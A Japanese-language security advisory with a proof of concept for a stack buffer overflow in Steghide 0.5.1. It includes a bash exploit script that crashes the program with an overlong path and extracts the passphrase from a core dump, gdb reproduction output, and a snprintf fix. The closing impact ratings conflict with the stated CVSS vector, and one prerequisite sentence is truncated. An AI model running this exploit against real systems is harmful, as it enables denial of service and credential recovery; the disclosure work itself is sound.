
Steghide 0.5.1 におけるスタックベースのバッファオーバーフローの概念実証 (PoC)。長いファイルパスがクラッシュ (DoS) を引き起こし、システムコアダンプを介して機密データ (パスワード) が漏洩することを示します。
| フィールド | 値 |
|---|---|
| 対象アプリケーション | Steghide(Linux バイナリ) |
| 影響を受けるバージョン | 0.5.1(確認済み); それ以前のバージョンも影響を受ける可能性あり |
| 脆弱性の種類 | スタックベースのバッファオーバーフロー(CWE-121) |
| 影響 | サービス拒否(DoS)、情報漏洩 |
| テスト環境 | Kali Linux |
| 開示日 | 2026年1月16日 |
| 作成者 | Erik Dervishi |
| ソフトウェアリンク | https://salsa.debian.org/pkg-security-team/steghide |
| CVSS v3.1 スコア | 5.5(Medium) |
| CVSS ベクター | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
重要度の根拠:
Medium の重要度スコアは、信頼性の高いローカルエクスプロイトがサービス拒否と、コアダンプを介した機密認証情報の漏洩の両方を引き起こすことを反映しています。
steghide コマンドラインユーティリティ(バージョン 0.5.1)において、スタックベースのバッファオーバーフロー脆弱性が特定されました。この脆弱性は、-cf(カバーファイル)引数に極端に長いファイルパスを渡すと発生します。
アプリケーションはスタックスマッシングプロテクション(SSP/カナリア)付きでコンパイルされており、これによりプロセスをアボートさせることで即時の任意コード実行(RCE)を防いでいますが、この防御メカニズムが副次的な脆弱性、すなわち情報漏洩を生み出します。
分析により、クラッシュ時に機密ランタイムデータ(特に -p 引数で渡されたパスフレーズ)がプロセスのスタックメモリに露出したままであることが確認されました。コアダンプを保持するように設定されたシステム(開発環境、CI/CD、または設定ミスのある本番サーバーで一般的)では、この機密データがプレーンテキストでディスクに書き込まれ、攻撃者が認証情報を回復できるようになります。
情報漏洩のためにこの脆弱性を正常に悪用するには、以下の条件を満たす必要があります。
ulimit -c unlimited または fs.suid_dumpable=1)、かつ攻撃者がアクセス可能な場所に書き込むように設定されている必要があります。脆弱性は src/Embedder.cc に存在します。アプリケーションは、sprintf を使用して固定サイズのバッファにフォーマットする前に、ファイル名文字列の長さの境界チェックを行いません。
脆弱なコードスニペット:
// src/Embedder.cc
char buf[200];
// 長さ検証なしの sprintf の安全でない使用法
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
文字列の結合長が 200 バイトを超える場合、sprintf は buf の末尾を超えて書き込み、スタックを破壊します。
バイナリは GCC のスタックプロテクタでコンパイルされています。
__stack_chk_fail が即座に abort() を呼び出すため、プロセスの終了は突然です。最新の Linux システム(例:systemd-coredump を使用)では、この急速な終了により、システムが明示的にダンプ作成を強制するように設定されていない限り、コアダンプが破棄されたり切り詰められたりする場合があります。
以下の bash スクリプトは、物理的なコアダンプを強制する環境を構成し、パスワードを抽出します。
前提条件: ulimit が設定され、コアパターンがファイルにリダイレクトされていることを確認してください(セットアップには root 権限が必要ですが、エクスプロイトはユーザーとして実行されます)。
# セットアップ(可視性を確保するために root/sudo で一度実行):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
ファイル: poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - スタックオーバーフローと情報漏洩
# 使用方法: ./poc.sh
# 1. このセッションでコアダンプを有効化
ulimit -c unlimited
# 2. ペイロードを定義: 250 個の 'A' 文字(200 バイトバッファをオーバーフローさせるのに十分)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] 悪意のあるディレクトリ構造を作成中..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. 有効な WAV ファイルを生成(初期フォーマットチェックを回避するために必要)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF ヘッダ + WAVEfmt + PCM オーディオ + データチャンク
# 実行が脆弱な Embedder.cc ロジックに到達するように、有効なヘッダを提供
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. ダミーの機密ファイルを作成
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. クラッシュをトリガー
# パスフレーズ 'MY_SECRET_PASS' はクラッシュ前にメモリにロードされる
echo "[!] Steghide を起動中..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. 漏洩を確認
echo -e "\n[*] コアダンプ内のアーティファクトを検索中..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] ダンプが見つかりました: $CORE_FILE"
# バイナリダンプ内のパスワード文字列を検索
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] 重要: パスワードがクラッシュダンプから正常に漏洩しました!"
else
echo "[-] コアファイルが見つかりません。'ulimit -c' または '/proc/sys/kernel/core_pattern' を確認してください。"
fi
GDB と Pwndbg 拡張を使用したメモリ状態の手動検証。
再現手順:
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
観測された出力:
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
結論: 機密文字列 MY_SECRET_PASS は、クラッシュ時にヒープとスタックメモリセグメントの両方に残存し、情報漏洩ベクトルが確認されました。
機密性(高):
可用性(高):
完全性(低):
// 推奨修正
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);